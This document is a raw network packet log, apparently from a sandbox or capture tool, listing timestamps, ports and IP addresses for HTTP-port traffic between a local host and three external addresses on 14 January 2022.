Jan 14, 2022 21:05:51.919521093 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.919538021 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.919534922 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.919553995 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.919560909 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.919569969 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.919584990 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.919585943 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.919601917 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.919616938 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.919631958 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.919634104 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.919647932 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.919661999 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.919662952 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.919681072 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.919681072 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.919697046 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.919712067 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.919713974 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.919737101 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.919751883 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.919764996 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.919769049 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.919785976 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.919794083 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.919801950 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.919817924 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.919821024 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.919833899 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.919848919 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.919851065 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.919867992 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.919883013 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.919898987 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.919898987 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.919909954 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.919914961 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.919930935 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.919945955 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.919945955 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.919961929 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.919977903 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.919991016 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.919995070 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.920008898 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.920018911 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.920025110 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.920041084 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.920046091 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.920057058 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.920073032 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.920073032 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.920088053 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.920104980 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.920116901 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.920121908 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.920139074 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.920140982 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.920156002 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.920171022 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.920177937 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.920186996 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.920202017 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.920203924 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.920217037 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.920232058 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.920247078 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.920248985 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.920262098 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.920277119 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.920279026 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.920293093 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.920299053 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.920306921 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.920320988 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.920321941 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.920336962 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.920351982 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.920352936 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.920367956 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.920382977 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.920397043 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.920397997 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.920413971 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.920427084 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.920428038 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.920443058 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.920447111 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.920458078 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.920474052 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.920478106 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.920511007 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.925532103 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.925553083 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.925591946 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.938452959 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.958532095 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.958556890 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.958669901 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.969261885 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.969284058 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.969369888 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.974395990 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.974417925 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.974435091 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.974447012 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.974461079 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.974478006 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.974487066 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.974495888 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.974507093 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.974513054 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.974529982 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.974529982 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.974546909 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.974561930 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.974564075 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.974577904 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.974594116 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.974596024 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.974610090 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.974612951 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.974626064 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.974641085 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.974643946 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.974679947 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.978259087 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.978277922 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.978293896 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.978310108 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.978326082 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.978338957 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.978343964 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.978359938 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.978367090 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.978375912 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.978391886 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.978396893 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.978408098 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.978414059 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.978425026 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.978441000 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.978447914 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.978456974 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.978472948 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.978477955 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.978487968 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.978504896 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.978521109 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.978521109 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.978537083 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.978543043 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.978554010 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.978569031 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.978571892 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.978585005 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.978600979 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.978602886 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.978616953 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.978634119 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.978647947 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.978653908 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.978663921 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.978679895 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.978684902 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.978694916 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.978698969 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.978713036 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.978728056 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.978729010 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.978744984 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.978760004 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.978774071 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.978776932 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.978790998 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.978806019 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.978809118 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.978821993 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.978827000 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.978837967 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.978854895 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.978854895 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.978872061 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.978888988 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.978892088 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.978904009 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.978920937 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.978936911 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.978940010 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.978954077 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.978962898 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.978971004 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.978986025 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.978995085 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.979001999 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.979018927 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.979021072 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.979034901 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.979053020 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.979062080 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.979068995 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.979084969 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.979091883 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.979101896 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.979118109 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.979120970 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.979150057 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.979156017 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.979172945 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.979190111 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.979204893 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.979221106 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.979233027 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.979268074 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.979279041 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.979295015 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.979310036 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.979312897 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.979326010 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.979347944 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.979367018 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.979382992 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.979398012 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.979398012 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.979413986 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.979432106 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.979445934 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.979461908 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.979479074 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.979480982 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.979492903 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.979509115 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.979525089 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.979541063 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.979546070 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.979553938 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.979569912 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.979599953 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:52.160475016 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:52.342931986 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:52.343808889 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:52.343863964 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:52.490015984 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:52.548022032 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:54.481792927 CET	49884	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:54.499041080 CET	80	49884	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:54.499177933 CET	49884	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:54.499340057 CET	49884	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:54.499377966 CET	49884	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:54.516638041 CET	80	49884	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:54.516680002 CET	80	49884	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:54.620505095 CET	80	49884	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:54.620579958 CET	49884	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:54.620764017 CET	49884	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:54.637870073 CET	80	49884	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:54.649497986 CET	49886	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:54.666812897 CET	80	49886	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:54.667012930 CET	49886	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:54.668107033 CET	49886	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:54.668183088 CET	49886	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:54.685384035 CET	80	49886	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:54.791488886 CET	80	49886	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:54.791579008 CET	49886	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:54.792481899 CET	49886	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:54.809804916 CET	80	49886	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:54.815169096 CET	49887	80	192.168.2.5	74.201.28.62
Jan 14, 2022 21:05:54.913575888 CET	80	49887	74.201.28.62	192.168.2.5
Jan 14, 2022 21:05:54.913685083 CET	49887	80	192.168.2.5	74.201.28.62
Jan 14, 2022 21:05:54.913789034 CET	49887	80	192.168.2.5	74.201.28.62
Jan 14, 2022 21:05:55.015538931 CET	80	49887	74.201.28.62	192.168.2.5
Jan 14, 2022 21:05:55.015603065 CET	80	49887	74.201.28.62	192.168.2.5
Jan 14, 2022 21:05:55.015630960 CET	80	49887	74.201.28.62	192.168.2.5
Jan 14, 2022 21:05:55.015659094 CET	80	49887	74.201.28.62	192.168.2.5
Jan 14, 2022 21:05:55.015686035 CET	80	49887	74.201.28.62	192.168.2.5
Jan 14, 2022 21:05:55.015713930 CET	80	49887	74.201.28.62	192.168.2.5
Jan 14, 2022 21:05:55.015752077 CET	80	49887	74.201.28.62	192.168.2.5
Jan 14, 2022 21:05:55.015785933 CET	80	49887	74.201.28.62	192.168.2.5
Jan 14, 2022 21:05:55.015821934 CET	80	49887	74.201.28.62	192.168.2.5
Jan 14, 2022 21:05:55.015836000 CET	49887	80	192.168.2.5	74.201.28.62
Jan 14, 2022 21:05:55.015857935 CET	80	49887	74.201.28.62	192.168.2.5
Jan 14, 2022 21:05:55.015897036 CET	49887	80	192.168.2.5	74.201.28.62
Jan 14, 2022 21:05:55.015916109 CET	49887	80	192.168.2.5	74.201.28.62
Jan 14, 2022 21:05:55.116324902 CET	80	49887	74.201.28.62	192.168.2.5
Jan 14, 2022 21:05:55.116369009 CET	80	49887	74.201.28.62	192.168.2.5
Jan 14, 2022 21:05:55.116401911 CET	80	49887	74.201.28.62	192.168.2.5
Jan 14, 2022 21:05:55.116430998 CET	80	49887	74.201.28.62	192.168.2.5
Jan 14, 2022 21:05:55.116461992 CET	80	49887	74.201.28.62	192.168.2.5
Jan 14, 2022 21:05:55.116491079 CET	80	49887	74.201.28.62	192.168.2.5
Jan 14, 2022 21:05:55.116522074 CET	80	49887	74.201.28.62	192.168.2.5
Jan 14, 2022 21:05:55.116530895 CET	49887	80	192.168.2.5	74.201.28.62
Jan 14, 2022 21:05:55.116554022 CET	80	49887	74.201.28.62	192.168.2.5
Jan 14, 2022 21:05:55.116574049 CET	49887	80	192.168.2.5	74.201.28.62
Jan 14, 2022 21:05:55.116580963 CET	49887	80	192.168.2.5	74.201.28.62
Jan 14, 2022 21:05:55.116585016 CET	80	49887	74.201.28.62	192.168.2.5
Jan 14, 2022 21:05:55.116610050 CET	49887	80	192.168.2.5	74.201.28.62
Jan 14, 2022 21:05:55.116617918 CET	80	49887	74.201.28.62	192.168.2.5
Jan 14, 2022 21:05:55.116650105 CET	80	49887	74.201.28.62	192.168.2.5
Jan 14, 2022 21:05:55.116678953 CET	80	49887	74.201.28.62	192.168.2.5
Jan 14, 2022 21:05:55.116679907 CET	49887	80	192.168.2.5	74.201.28.62
Jan 14, 2022 21:05:55.116713047 CET	80	49887	74.201.28.62	192.168.2.5
Jan 14, 2022 21:05:55.116734982 CET	49887	80	192.168.2.5	74.201.28.62
Jan 14, 2022 21:05:55.116743088 CET	80	49887	74.201.28.62	192.168.2.5
Jan 14, 2022 21:05:55.116774082 CET	80	49887	74.201.28.62	192.168.2.5
Jan 14, 2022 21:05:55.116797924 CET	49887	80	192.168.2.5	74.201.28.62
Jan 14, 2022 21:05:55.116806030 CET	80	49887	74.201.28.62	192.168.2.5
Jan 14, 2022 21:05:55.116836071 CET	80	49887	74.201.28.62	192.168.2.5
Jan 14, 2022 21:05:55.116858959 CET	49887	80	192.168.2.5	74.201.28.62
Jan 14, 2022 21:05:55.116866112 CET	80	49887	74.201.28.62	192.168.2.5
Jan 14, 2022 21:05:55.116897106 CET	80	49887	74.201.28.62	192.168.2.5
Jan 14, 2022 21:05:55.116919041 CET	49887	80	192.168.2.5	74.201.28.62
Jan 14, 2022 21:05:55.116925955 CET	80	49887	74.201.28.62	192.168.2.5
Jan 14, 2022 21:05:55.116981983 CET	49887	80	192.168.2.5	74.201.28.62
Jan 14, 2022 21:05:55.218596935 CET	80	49887	74.201.28.62	192.168.2.5
Jan 14, 2022 21:05:55.218657017 CET	80	49887	74.201.28.62	192.168.2.5
Jan 14, 2022 21:05:55.218697071 CET	80	49887	74.201.28.62	192.168.2.5
Jan 14, 2022 21:05:55.218735933 CET	80	49887	74.201.28.62	192.168.2.5
Jan 14, 2022 21:05:55.218743086 CET	49887	80	192.168.2.5	74.201.28.62
Jan 14, 2022 21:05:55.218775034 CET	80	49887	74.201.28.62	192.168.2.5
Jan 14, 2022 21:05:55.218786001 CET	49887	80	192.168.2.5	74.201.28.62
Jan 14, 2022 21:05:55.218817949 CET	80	49887	74.201.28.62	192.168.2.5
Jan 14, 2022 21:05:55.218858004 CET	80	49887	74.201.28.62	192.168.2.5
Jan 14, 2022 21:05:55.218866110 CET	49887	80	192.168.2.5	74.201.28.62
Jan 14, 2022 21:05:55.218895912 CET	80	49887	74.201.28.62	192.168.2.5
Jan 14, 2022 21:05:55.218935966 CET	80	49887	74.201.28.62	192.168.2.5
Jan 14, 2022 21:05:55.218943119 CET	49887	80	192.168.2.5	74.201.28.62
Jan 14, 2022 21:05:55.218975067 CET	80	49887	74.201.28.62	192.168.2.5
Jan 14, 2022 21:05:55.219010115 CET	80	49887	74.201.28.62	192.168.2.5
Jan 14, 2022 21:05:55.219022989 CET	49887	80	192.168.2.5	74.201.28.62
Jan 14, 2022 21:05:55.400775909 CET	49887	80	192.168.2.5	74.201.28.62
Jan 14, 2022 21:05:56.131400108 CET	49891	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:56.148794889 CET	80	49891	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:56.148893118 CET	49891	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:56.149341106 CET	49891	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:56.149355888 CET	49891	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:56.166762114 CET	80	49891	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:56.271970034 CET	80	49891	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:56.272061110 CET	49891	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:56.272293091 CET	49891	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:56.289736986 CET	80	49891	8.209.70.0	192.168.2.5
